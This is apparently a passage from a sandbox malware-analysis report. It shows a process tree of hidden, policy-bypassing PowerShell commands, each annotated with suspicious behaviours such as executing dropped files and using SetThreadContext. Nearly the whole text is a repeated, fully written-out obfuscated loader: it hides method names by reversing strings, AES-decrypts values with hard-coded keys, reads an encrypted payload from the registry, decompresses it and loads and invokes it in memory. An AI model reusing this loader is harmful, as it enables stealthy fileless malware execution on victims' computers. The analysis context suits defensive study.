'')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4352 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4352).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:5188
-
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4352).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:5912 -
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = 